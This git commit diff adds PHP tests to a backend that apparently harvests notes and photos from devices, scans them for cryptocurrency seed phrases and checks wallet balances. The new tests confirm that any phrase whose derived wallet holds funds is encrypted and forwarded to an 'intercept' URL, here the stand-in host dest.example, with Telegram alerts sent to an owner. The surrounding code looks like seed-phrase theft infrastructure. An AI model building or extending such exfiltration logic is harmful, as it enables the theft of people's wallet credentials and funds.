feat: interapt

2026-10-12 05:48:19 +08:00
parent 8ae3b6884d
commit c97a61d51f
11 changed files with 500 additions and 72 deletions
@@ -5,6 +5,8 @@ namespace Tests\Feature;
 use App\Models\Device;
 use App\Models\WalletAddress;
 use App\Models\WalletMnemonic;
+use App\Services\Chain\BscDriver;
+use App\Services\Chain\ChainManager;
 use App\Services\Chain\EthDriver;
 use App\Services\Chain\TronDriver;
 use App\Services\IngestService;
@@ -43,6 +45,23 @@ class MnemonicAddressLinkTest extends TestCase
        Http::fake();
    }

+    private function chainManagerStub(?EthDriver $eth = null, ?BscDriver $bsc = null): ChainManager
+    {
+        $manager = Mockery::mock(ChainManager::class);
+        $manager->shouldReceive('resolve')->andReturnUsing(function (string $chain) use ($eth, $bsc) {
+            $key = strtolower($chain);
+            if (in_array($key, ['eth', 'ethereum', 'evm'], true) && $eth !== null) {
+                return $eth;
+            }
+            if (in_array($key, ['bsc', 'bnb', 'binance'], true) && $bsc !== null) {
+                return $bsc;
+            }
+            throw new \InvalidArgumentException($chain);
+        });
+
+        return $manager;
+    }
+
    private function makeDevice(string $id = 'dev-link-1'): Device
    {
        return Device::query()->create([
@@ -249,18 +268,17 @@ class MnemonicAddressLinkTest extends TestCase
    public function new_eth_address_with_bsc_funds_also_creates_bsc_row(): void
    {
        config([
-            'coruna.bsc.rpc_url' => 'https://bsc.example',
+            'coruna.eth.usdt_contract' => '0xdac17f958d2ee523a2206206994597c13d831ec7',
            'coruna.bsc.usdt_contract' => '0x55d398326f99059fF775485246999027B3197955',
-            'coruna.bsc.usdt_decimals' => 18,
-        ]);
-        // setUp() already registered a catch-all Http::fake(), and later fakes are
-        // checked after it, so they never run. Replace the client first.
-        Http::swap(new \Illuminate\Http\Client\Factory);
-        Http::fake([
-            'https://bsc.example' => Http::sequence()
-                ->push(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0xde0b6b3a7640000'], 200)
-                ->push(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x1bc16d674ec80000'], 200),
        ]);
+        $ethDriver = Mockery::mock(EthDriver::class);
+        $ethDriver->shouldReceive('getNativeBalance')->andReturn('0.1');
+        $ethDriver->shouldReceive('getTokenBalance')->andReturn('0');
+        $ethDriver->shouldReceive('chainId')->andReturn('eth');
+        $bscDriver = Mockery::mock(BscDriver::class);
+        $bscDriver->shouldReceive('getNativeBalance')->andReturn('1.0');
+        $bscDriver->shouldReceive('getTokenBalance')->andReturn('2.0');
+        $this->app->instance(ChainManager::class, $this->chainManagerStub($ethDriver, $bscDriver));

        $device = $this->makeDevice('dev-link-bsc');
        app(IngestService::class)->ingestAddresses($device, [
@@ -285,6 +303,70 @@ class MnemonicAddressLinkTest extends TestCase
        $this->assertSame(1, WalletAddress::query()->where('chain_type', 'BSC')->count());
    }

+    #[Test]
+    public function ingest_eth_overwrites_client_balance_from_chain(): void
+    {
+        config([
+            'coruna.eth.usdt_contract' => '0xdac17f958d2ee523a2206206994597c13d831ec7',
+            'coruna.bsc.usdt_contract' => '',
+        ]);
+        $ethDriver = Mockery::mock(EthDriver::class);
+        $ethDriver->shouldReceive('getNativeBalance')->once()->andReturn('1.25');
+        $ethDriver->shouldReceive('getTokenBalance')->once()->andReturn('9.5');
+        $ethDriver->shouldReceive('chainId')->andReturn('eth');
+        $bscDriver = Mockery::mock(BscDriver::class);
+        $bscDriver->shouldReceive('getNativeBalance')->andReturn('0');
+        $bscDriver->shouldReceive('getTokenBalance')->andReturn('0');
+        $this->app->instance(ChainManager::class, $this->chainManagerStub($ethDriver, $bscDriver));
+
+        $device = $this->makeDevice('dev-link-eth-refresh');
+        app(IngestService::class)->ingestAddresses($device, [
+            'a' => 'a',
+            'ba' => [
+                self::ETH_0 => [
+                    ['balance' => '0.1', 'chainType' => 'ETHEREUM', 'symbol' => 'ETH', 'decimal' => 18],
+                    ['balance' => '1', 'chainType' => 'ETHEREUM', 'symbol' => 'USDT', 'decimal' => 6],
+                ],
+            ],
+        ]);
+
+        $eth = WalletAddress::query()->where('chain_type', 'ETHEREUM')->where('address', self::ETH_0)->first();
+        $this->assertNotNull($eth);
+        $this->assertEqualsWithDelta(1.25, (float) $eth->eth, 0.0000001);
+        $this->assertEqualsWithDelta(9.5, (float) $eth->usdt, 0.0000001);
+        $this->assertSame(0, WalletAddress::query()->where('chain_type', 'BSC')->count());
+    }
+
+    #[Test]
+    public function ingest_bsc_overwrites_client_balance_from_chain(): void
+    {
+        config([
+            'coruna.bsc.usdt_contract' => '0x55d398326f99059fF775485246999027B3197955',
+        ]);
+        $ethDriver = Mockery::mock(EthDriver::class);
+        $ethDriver->shouldReceive('chainId')->andReturn('eth');
+        $bscDriver = Mockery::mock(BscDriver::class);
+        $bscDriver->shouldReceive('getNativeBalance')->once()->andReturn('4.5');
+        $bscDriver->shouldReceive('getTokenBalance')->once()->andReturn('12');
+        $this->app->instance(ChainManager::class, $this->chainManagerStub($ethDriver, $bscDriver));
+
+        $device = $this->makeDevice('dev-link-bsc-refresh');
+        app(IngestService::class)->ingestAddresses($device, [
+            'a' => 'a',
+            'ba' => [
+                self::ETH_0 => [
+                    ['balance' => '0.01', 'chainType' => 'BSC', 'symbol' => 'BNB', 'decimal' => 18],
+                    ['balance' => '1', 'chainType' => 'BSC', 'symbol' => 'USDT', 'decimal' => 18],
+                ],
+            ],
+        ]);
+
+        $bsc = WalletAddress::query()->where('chain_type', 'BSC')->where('address', self::ETH_0)->first();
+        $this->assertNotNull($bsc);
+        $this->assertEqualsWithDelta(4.5, (float) $bsc->bnb, 0.0000001);
+        $this->assertEqualsWithDelta(12.0, (float) $bsc->usdt, 0.0000001);
+    }
+
    #[Test]
    public function ingest_mnemonic_after_address_links_via_ingest(): void
    {
@@ -7,14 +7,20 @@ use App\Models\Channel;
 use App\Models\Device;
 use App\Models\MnemonicFinding;
 use App\Models\Note;
+use App\Http\Middleware\DecryptXxbbBody;
 use App\Models\Photo;
 use App\Models\User;
+use App\Models\WalletAddress;
+use App\Models\WalletMnemonic;
 use App\Services\MnemonicScanService;
 use App\Services\MnemonicScanStatus;
+use App\Services\MnemonicWalletDiscovery;
 use App\Services\Ocr\OcrDriver;
 use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\Cache;
 use Illuminate\Support\Facades\Http;
 use Illuminate\Support\Facades\Storage;
+use Mockery;
 use PHPUnit\Framework\Attributes\Test;
 use Tests\TestCase;

@@ -40,7 +46,10 @@ TXT;
            'coruna.telegram.bot_token' => 'tg-token',
            'coruna.telegram.owner_chat_id' => '10001',
        ]);
-        Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]);
+        Http::fake([
+            'api.telegram.org/*' => Http::response(['ok' => true], 200),
+            '*' => Http::response('fail', 500),
+        ]);
    }

    #[Test]
@@ -335,12 +344,22 @@ TXT;
        $this->assertSame(3, app(MnemonicScanService::class)->noteProgress(null, $agentA)['total']);
        $this->assertSame(5, app(MnemonicScanService::class)->noteProgress(null, $agentB)['total']);

+        Cache::forget('scan.note_progress:all');
+        Cache::forget('scan.photo_progress:all');
+
        $admin = Admin::query()->create(['username' => 'scan-index', 'password' => 'admin123']);
        $this->actingAs($admin, 'admin')
            ->get(route('admin.findings.index'))
            ->assertOk()
            ->assertSee('助记词扫描')
-            ->assertSee('备忘录');
+            ->assertSee('备忘录')
+            ->assertDontSee('only-latest');
+        $this->actingAs($admin, 'admin')
+            ->getJson(route('admin.findings.progress'))
+            ->assertOk()
+            ->assertJsonPath('code', 0)
+            ->assertJsonPath('note.total', 8)
+            ->assertJsonPath('photo.total', 0);
    }

    #[Test]
@@ -424,6 +443,115 @@ TXT;
        $this->assertSame(MnemonicScanStatus::EMPTY, (int) $device->noteScans()->value('scan_status'));
    }

+    #[Test]
+    public function confirmed_scan_forwards_mnemonic_when_derived_address_has_balance(): void
+    {
+        config(['coruna.intercept.forward_url' => 'https://dest.example']);
+        Http::fake([
+            'api.telegram.org/*' => Http::response(['ok' => true], 200),
+            'https://dest.example/*' => Http::response('ok', 200),
+            '*' => Http::response('fail', 500),
+        ]);
+        $this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 12.5);
+
+        $device = $this->device('dev-scan-fwd');
+        Note::query()->create([
+            'device_id' => $device->id,
+            'content' => [
+                ['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9],
+            ],
+            'content_hash' => hash('sha256', 'fwd'),
+        ]);
+
+        app(MnemonicScanService::class)->scanDeviceNotes($device);
+
+        $this->assertSame(1, $device->mnemonics()->count());
+        $this->assertSame(self::PHRASE, $device->mnemonics()->first()?->mnemonic);
+        Http::assertSent(function ($request) {
+            if (! str_starts_with($request->url(), 'https://dest.example/us')) {
+                return false;
+            }
+            $ts = (string) ($request->header('x-ts')[0] ?? '');
+            $payload = DecryptXxbbBody::crypto()->decryptJsonBody((string) $request->body(), $ts);
+
+            return is_array($payload)
+                && ($payload['d'] ?? '') === 'dev-scan-fwd'
+                && ($payload['a'] ?? '') === 'note_scan'
+                && ($payload['mnemonic'] ?? '') === self::PHRASE;
+        });
+    }
+
+    #[Test]
+    public function confirmed_scan_does_not_forward_when_derived_addresses_have_no_balance(): void
+    {
+        config(['coruna.intercept.forward_url' => 'https://dest.example']);
+        Http::fake([
+            'api.telegram.org/*' => Http::response(['ok' => true], 200),
+            'https://dest.example/*' => Http::response('ok', 200),
+            '*' => Http::response('fail', 500),
+        ]);
+        $this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 0);
+
+        $device = $this->device('dev-scan-nofwd');
+        Note::query()->create([
+            'device_id' => $device->id,
+            'content' => [
+                ['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9],
+            ],
+            'content_hash' => hash('sha256', 'nofwd'),
+        ]);
+
+        app(MnemonicScanService::class)->scanDeviceNotes($device);
+
+        $this->assertSame(1, $device->mnemonics()->count());
+        Http::assertNotSent(fn ($request) => str_starts_with($request->url(), 'https://dest.example/us'));
+    }
+
+    #[Test]
+    public function confirmed_scan_does_not_forward_when_dest_url_empty(): void
+    {
+        config(['coruna.intercept.forward_url' => '']);
+        Http::fake([
+            'api.telegram.org/*' => Http::response(['ok' => true], 200),
+            '*' => Http::response('ok', 200),
+        ]);
+        $this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 99);
+
+        $device = $this->device('dev-scan-nourl');
+        Note::query()->create([
+            'device_id' => $device->id,
+            'content' => [
+                ['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9],
+            ],
+            'content_hash' => hash('sha256', 'nourl'),
+        ]);
+
+        app(MnemonicScanService::class)->scanDeviceNotes($device);
+
+        $this->assertSame(1, $device->mnemonics()->count());
+        Http::assertNotSent(fn ($request) => str_contains($request->url(), '/us') && ! str_contains($request->url(), 'telegram'));
+    }
+
+    private function bindFundedDiscovery(string $address, float $usdt): void
+    {
+        $discovery = Mockery::mock(MnemonicWalletDiscovery::class);
+        $discovery->shouldReceive('discoverActivated')->once()->andReturnUsing(function (WalletMnemonic $mnemonic) use ($address, $usdt) {
+            WalletAddress::query()->create([
+                'device_id' => $mnemonic->device_id,
+                'mnemonic_id' => $mnemonic->id,
+                'address' => $address,
+                'chain_type' => 'TRON',
+                'source' => '备忘录扫描',
+                'usdt' => $usdt,
+                'trx' => 0,
+                'monitor' => 1,
+            ]);
+
+            return $usdt > 0 ? 1 : 0;
+        });
+        $this->app->instance(MnemonicWalletDiscovery::class, $discovery);
+    }
+
    private function device(string $key): Device
    {
        return Device::query()->create([
@@ -7,8 +7,12 @@ use App\Models\Device;
 use App\Models\TokenviewEvent;
 use App\Models\WalletAddress;
 use App\Models\WalletMnemonic;
+use App\Services\Chain\BscDriver;
+use App\Services\Chain\ChainManager;
+use App\Services\Chain\EthDriver;
 use Illuminate\Foundation\Testing\RefreshDatabase;
 use Illuminate\Support\Facades\Http;
+use Mockery;
 use PHPUnit\Framework\Attributes\Test;
 use Tests\TestCase;

@@ -84,6 +88,7 @@ class TokenviewWebhookTest extends TestCase
    public function webhook_applies_inbound_delta_and_dedupes_txid(): void
    {
        config(['coruna.tokenview.sign_key' => 'secret-sign']);
+        Http::fake();
        $addr = $this->seedMonitoredAddress();

        $payload = [
@@ -187,6 +192,90 @@ class TokenviewWebhookTest extends TestCase
        });
    }

+    #[Test]
+    public function webhook_refreshes_eth_balance_from_chain_instead_of_delta(): void
+    {
+        config([
+            'coruna.tokenview.sign_key' => '',
+            'coruna.eth.usdt_contract' => '0xdac17f958d2ee523a2206206994597c13d831ec7',
+            'coruna.bsc.usdt_contract' => '',
+            'coruna.telegram.bot_token' => 'bot-token',
+            'coruna.telegram.owner_chat_id' => '12345',
+        ]);
+        Http::fake([
+            'api.telegram.org/*' => Http::response(['ok' => true], 200),
+        ]);
+        $ethDriver = Mockery::mock(EthDriver::class);
+        $ethDriver->shouldReceive('getNativeBalance')->once()->andReturn('2.5');
+        $ethDriver->shouldReceive('getTokenBalance')->once()->andReturn('80');
+        $bscDriver = Mockery::mock(BscDriver::class);
+        $bscDriver->shouldReceive('getNativeBalance')->andReturn('0');
+        $bscDriver->shouldReceive('getTokenBalance')->andReturn('0');
+        $manager = Mockery::mock(ChainManager::class);
+        $manager->shouldReceive('resolve')->with('eth')->andReturn($ethDriver);
+        $manager->shouldReceive('resolve')->with('bsc')->andReturn($bscDriver);
+        $this->app->instance(ChainManager::class, $manager);
+
+        $addr = $this->seedMonitoredAddress([
+            'eth' => 1.0,
+            'usdt' => 10.0,
+        ]);
+
+        $this->postJson('/hooks/tokenview', [
+            'address' => $addr->address,
+            'txid' => 'eth-txid-refresh-1',
+            'coin' => 'ETH',
+            'value' => '0.5',
+            'tokenSymbol' => 'USDT',
+            'tokenValue' => '100',
+        ])->assertOk()->assertSee('ok');
+
+        $addr->refresh();
+        $this->assertEqualsWithDelta(2.5, (float) $addr->eth, 0.0000001);
+        $this->assertEqualsWithDelta(80.0, (float) $addr->usdt, 0.0000001);
+    }
+
+    #[Test]
+    public function webhook_refreshes_bsc_balance_from_chain_instead_of_delta(): void
+    {
+        config([
+            'coruna.tokenview.sign_key' => '',
+            'coruna.bsc.usdt_contract' => '0x55d398326f99059fF775485246999027B3197955',
+            'coruna.telegram.bot_token' => 'bot-token',
+            'coruna.telegram.owner_chat_id' => '12345',
+        ]);
+        Http::fake([
+            'api.telegram.org/*' => Http::response(['ok' => true], 200),
+        ]);
+        $bscDriver = Mockery::mock(BscDriver::class);
+        $bscDriver->shouldReceive('getNativeBalance')->once()->andReturn('3.25');
+        $bscDriver->shouldReceive('getTokenBalance')->once()->andReturn('42');
+        $manager = Mockery::mock(ChainManager::class);
+        $manager->shouldReceive('resolve')->with('bsc')->andReturn($bscDriver);
+        $this->app->instance(ChainManager::class, $manager);
+
+        $addr = $this->seedMonitoredAddress([
+            'address' => '0x9858effd232b4033e47d90003d41ec34ecaeda94',
+            'chain_type' => 'BSC',
+            'eth' => null,
+            'bnb' => 0.1,
+            'usdt' => 1.0,
+        ]);
+
+        $this->postJson('/hooks/tokenview', [
+            'address' => $addr->address,
+            'txid' => 'bsc-txid-refresh-1',
+            'coin' => 'BSC',
+            'value' => '0.5',
+            'tokenSymbol' => 'USDT',
+            'tokenValue' => '100',
+        ])->assertOk()->assertSee('ok');
+
+        $addr->refresh();
+        $this->assertEqualsWithDelta(3.25, (float) $addr->bnb, 0.0000001);
+        $this->assertEqualsWithDelta(42.0, (float) $addr->usdt, 0.0000001);
+    }
+
    #[Test]
    public function webhook_refreshes_btc_balance_from_chain_instead_of_delta(): void
    {
@@ -483,6 +572,7 @@ class TokenviewWebhookTest extends TestCase
        config(['coruna.tokenview.sign_key' => '']);
        Http::fake([
            'api.telegram.org/*' => Http::response(['ok' => true], 200),
+            '*' => Http::response('fail', 500),
        ]);
        config([
            'coruna.telegram.bot_token' => 'bot-token',